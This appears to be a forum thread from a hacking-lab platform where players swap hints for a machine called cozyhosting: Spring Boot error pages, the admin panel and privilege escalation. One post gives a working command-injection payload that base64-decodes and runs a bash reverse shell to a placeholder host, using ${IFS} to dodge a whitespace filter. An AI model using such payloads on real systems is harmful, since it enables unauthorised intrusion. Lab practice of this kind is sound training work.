[guacadmin]

any hints after getting the admin panel

someone said what we should do further up in the thread, just scroll through ( i forgot what he said thats why i didnt say it in this message)

[hackxor]

any hints after getting the admin panel

play a little bit with the check ssh function on the admin, until you get some useful error

[creativethinking2111]

Hope all are progressing.

[itsnotme]

For those who are having trouble getting revshell.

You can use command substitution with ${IFS} instead of spaces.

And to carry out lateral movement, the website jar has everything you need. Download and decompiled

https://tldp.org/LDP/abs/html/commandsub.html
https://www.revshells.com/

[Bubbles]

For those who need help.

Foothold: Finding the technology of the site is just looking for the main errors in the configuration.
User: On the single post try to force an error and see the error message.
Root: GTFOBins

I am still lost

[itsnotme]

For those who need help.

Foothold: Finding the technology of the site is just looking for the main errors in the configuration.
User: On the single post try to force an error and see the error message.
Root: GTFOBins

I am still lost

You can DM me if you want to.

[hexa11]

For those who are having trouble getting revshell.

You can use command substitution with ${IFS} instead of spaces.

And to carry out lateral movement, the website jar has everything you need. Download and decompiled

https://tldp.org/LDP/abs/html/commandsub.html
https://www.revshells.com/

can u tell me the payload ur using?

[itsnotme]

For those who are having trouble getting revshell.

You can use command substitution with ${IFS} instead of spaces.

And to carry out lateral movement, the website jar has everything you need. Download and decompiled

https://tldp.org/LDP/abs/html/commandsub.html
https://www.revshells.com/

can u tell me the payload ur using?

You can send the command like this:

Generate a base64 from the command "/bin/bash -i >& /dev/tcp/X.X.X.X/4444 0>&1"

And send this on the post
;$(echo${IFS}<BASE64>${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}/bin/bash${IFS})

[gr4yf0x]

so I am stuck at the reverse shell. I get -e as invalid option. Any pointers?
Thank you

---

For those who are having trouble getting revshell.

You can use command substitution with ${IFS} instead of spaces.

And to carry out lateral movement, the website jar has everything you need. Download and decompiled

https://tldp.org/LDP/abs/html/commandsub.html
https://www.revshells.com/

can u tell me the payload ur using?

You can send the command like this:

Generate a base64 from the command "/bin/bash -i >& /dev/tcp/X.X.X.X/4444 0>&1"

And send this on the post
;$(echo${IFS}<BASE64>${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}/bin/bash${IFS})

For some reason, I still get no whitespace allowed.

---

any hints after getting the admin panel

scroll down to connection settings. You will find two inputs. Hosname and username. Type something and send to repeater. Play around with the username field. Try to send commands and pay attention to the error in the response. It took me a while to get cause I was using a command that didnt have a very distinct output so I didnt notice the output in the error.

[RobinX]

any one tell me how to get user shell

You can begin by exploring the web and discovering a strange error: Whitelabel Error Page. By searching for this type of error, you will find that it is related to Spring Boot. This will lead you to discover additional endpoints that cannot be found through simple enumeration.

could you give more information about this please?
I found the error page is different. The one in cozyhosting doesn't display the path or input string.